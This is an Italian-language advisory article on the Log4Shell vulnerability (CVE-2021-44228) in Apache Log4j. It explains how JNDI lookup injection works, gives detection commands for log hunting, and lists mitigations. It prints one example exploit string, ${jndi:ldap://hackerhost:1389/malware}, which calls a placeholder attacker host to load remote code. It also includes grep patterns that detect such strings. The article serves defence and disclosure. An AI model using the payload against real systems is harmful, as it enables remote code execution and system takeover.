Apache Software Foundation ha rilasciato la patch per la vulnerabilità zero-day scoperta il 10/12/2021 in Log4j, una libreria Java che viene utilizzata da migliaia di aziende, tra cui Apple, Amazon, Twitter, Cloudflare e Tesla. L’exploit che sfrutta il bug Log4Shell, identificato con CVE-2021-44228, è già in circolazione, è quindi necessario aggiornare urgentemente i sistemi interessati.
Cos’è e a cosa serve la libreria log4j
Log4J è una libreria di logging utilizzata in ambiente Java, un linguaggio di programmazione molto utilizzato grazie alla sua capacità di essere agnostico rispetto al sistema operativo su cui esso è installato.
Ogni applicazione possiede un sistema di logging creato appositamente per monitorare lo stato dell’applicazione e per comprendere eventuali errori o cattivi funzionamenti.
In questo scenario log4j è una delle librerie più utilizzate in quanto implementa un sistema di tagging capace di contestualizzare il messaggio di “log” agevolando notevolmente lo sviluppatore di software.
In altre parole, alcuni caratteri speciali del tipo “{$TAG}” vengono interpretati direttamente dalla libreria e sostituiti con informazioni richieste. A titolo esemplificativo non realistico, “{$date}” viene sostituito dalla libreria con la data in cui viene vista la stringa “{$date}”
Dove si nasconde la vulnerabilità Log4Shell
Un attaccante, sfruttando un input non ben validato può iniettare all’interno del messaggio di log un tag appositamente forgiato imponendo una specifica interpretazione da parte della libreria. Il tag in oggetto è chiamato JNDI (Java Naming and Directory Interface) e può essere utilizzato per caricare codice da remoto. Ad esempio, all’interno del tag JNDI può essere richiesto di eseguire codice attraverso diversi protocolli di comunicazione come LDAP, COBRA, COS, RMI, DNS.
Sotto questo aspetto l’attaccante può forgiare una stringa di log forzando la libreria, attraverso il tag JNDI, a caricare ed eseguire codice ospitato su un altro sistema, fuori dal dominio in cui è installato l’applicativo. In questo modo l’attaccante può controllare l’esecuzione di codice sulla macchina vittima prendendone un accesso persistente.
Una stringa di esempio può essere la seguente:
${jndi:ldap://hackerhost:1389/malware}
In questo caso, log4j cercherà di eseguire codice (opportunamente creato) denominato “malware” ospitato in “hackerhost” sulla porta “1389” attraverso il protocollo di comunicazione LDAP.
L’indirizzo “hackerhost” è un server in mano all’attaccante ove è stato pubblicato antecedentemente alla propagazione della stringa malevola un codice opportunamente creato dipendente dai propri intenti.
Vulnerabilità Log4Shell: cosa si rischia
Ad oggi si osservano principalmente (ma non esclusivamente) due tipologie di entità a rischio: le imprese e i cittadini.
Le imprese vedono come rischio l’abuso della propria tecnologia (esempio cryptominers) ma anche la possibilità di aprire le porte ad attaccanti più sofisticati in cerca di facili ingressi al perimetro per poi copiare dati sensibili ed eventualmente avviare attività di estorsione digitale (ransomware).
Il cittadino rischia la perdita di dati e controllo digitale diretto o indiretto. La perdita di dati indiretta avviene qualora un attaccante compromettesse, a causa di tale vulnerabilità, un server il quale ospita dati del cittadino: un e-commerce, una piattaforma sociale, una chat e via dicendo. Il controllo diretto, invece, comporta lo sfruttamento della vulnerabilità direttamente sul dispositivo del cittadino che diverrebbe uno “zombie” in mano dell’attaccante.
Come scoprire se si è vulnerabili
Comprendere se si è vulnerabili alla CVE-2021-44228 può apparire semplice: è infatti necessario verificare l’utilizzo della libreria log4j all’interno del perimetro desiderato.
Tale verifica, tuttavia, non è semplice come sembra, per due motivi principali:
1. la complessità ed il numero dei sistemi software che utilizzano Java;
2. la complessità nel verificare la presenza della libreria in un sistema di librerie innestate come quello adottato da Java.
Effettivamente, la grande comodità di librerie innestate e il loro utilizzo in modalità atomica all’interno di un unico package (.JAR) risulta molto comodo per la programmazione ma complica notevolmente la ricerca di una specifica libreria nel caso in cui vi sia la necessità di sostituirla o aggiornarla.
In questa fase si suggeriscono due approcci di verifica:
1. proattivo, ovvero cercare all’interno dei propri sistemi informativi tale libreria prima di comprendere se un attaccante abbia precedentemente tentato di farlo;
2. reattivo, ovvero cercare all’interno dei logs di sistema e applicativi quali siano stati i tentativi effettuati da terzi (attaccanti) al fine di comprendere quali infrastrutture (o software) andare a verificare in prima istanza.
Proattivo: si può utilizzare uno strumento open source chiamato SYFT avviandolo in modalità massiva (da valutare impatti prima di farlo). Tale strumento permette di creare una SBOM (Software Bill of Materials), raccogliendo tutte le librerie utilizzate da un container, da un immagine o da una o più directory.
Attraverso la SBOM è quindi possibile successivamente comprendere quali applicazioni stanno utilizzando log4j e valutarne gli impatti.
Reattivo: si può effettuare hunting sui logs di sistema e/o applicativi utilizzando semplici termini di ricerca come per esempio:
Ricerca dell’exploit non offuscato:
sudo egrep -I -i -r ‘$({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^n]+’ /var/log
Questo, invece, è un esempio di ricerca dell’exploit offuscato:
sudo find /var/log/ -type f -exec sh -c “cat {} | sed -e ‘s/${lower://’g | tr -d ‘}’ | egrep -I -i ‘jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):’” ;
Attraverso il match di tali regole su logs applicativi si può comprendere quale sia il perimetro raggiungibile dall’attaccante ed eventualmente avviare un processo di contenimento (attraverso filtraggio e/o esclusione).
Per scoprire se i propri sistemi Windows sono esposti alla vulnerabilità Log4Shell è invece possibile seguire le indicazioni riportate nella guida Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation pubblicata da Microsoft.
Come mitigare il rischio della vulnerabilità Log4Shell
Il CSIRT Italia ha inoltre riportato le azioni di mitigazioni della vulnerabilità Log4Shell nel caso in cui non fosse possibile aggiornare la libreria Java log4j:
innanzitutto, occorre impostare le seguenti proprietà:
1. log4j2.formatMsgNoLookups=true
2. LOG4J_FORMAT_MSG_NO_LOOKUPS=true
quindi, rimuovere la classe JndiLookup dal path delle classi:
1. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
infine, occorre impostare le seguenti proprietà in Java 8u121:
1. com.sun.jndi.rmi.object.trustURLCodebase
2. com.sun.jndi.cosnaming.object.trustURLCodebase=false